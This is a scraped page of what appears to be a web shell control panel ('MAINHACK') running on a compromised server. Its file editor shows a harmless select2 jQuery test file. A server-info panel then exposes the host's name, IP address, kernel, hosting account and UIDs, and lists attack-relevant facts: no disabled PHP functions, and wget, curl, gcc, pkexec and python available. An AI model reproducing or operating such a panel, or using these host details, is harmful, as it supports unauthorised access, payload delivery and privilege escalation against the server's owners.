[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: inputData-tests.js
module('Data adapters - <input> compatibility'); var $ = require('jquery'); var Options = require('select2/options'); var Utils = require('select2/utils'); var ArrayData = require('select2/data/array'); var InputData = require('select2/compat/inputData'); var InputAdapter = Utils.Decorate(ArrayData, InputData); test('test that options can be selected', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.select({ id: 'test' }); assert.equal( $element.val(), 'test', 'The id of the item should be the value' ); }); test('unselect the single selected option clears the value', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test', selected: true } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.unselect({ id: 'test' }); assert.equal( $element.val(), '', 'The id should no longer be in the value' ); }); test('options can be unselected individually', function (assert) { var options = new Options({ data: [ { id: 'test', text: 'Test' }, { id: 'test2', text: 'Test2' }, { id: 'test3', text: 'Test3' } ] }); var $element = $('<input />'); $element.val('test,test2,test3'); var adapter = new InputAdapter($element, options); adapter.unselect({ id: 'test2' }); assert.equal( $element.val(), 'test,test3', 'The value should contain all the still selected options' ); }); test('default values can be set', function (assert) { assert.expect(4); var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input value="test" />'); var adapter = new InputAdapter($element, options); adapter.current(function (data) { assert.equal( data.length, 1, 'There should only be a single selected option' ); var item = data[0]; assert.equal(item.id, 'test'); assert.equal(item.text, 'Test'); }); assert.equal( $element.val(), 'test', 'The value should not have been altered' ); }); test('no default value', function (assert) { assert.expect(2); var options = new Options({ data: [ { id: 'test', text: 'Test' } ] }); var $element = $('<input />'); var adapter = new InputAdapter($element, options); adapter.current(function (data) { assert.equal( data.length, 0, 'There should be no selected options' ); }); assert.equal( $element.val(), '', 'The value should not have been altered' ); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002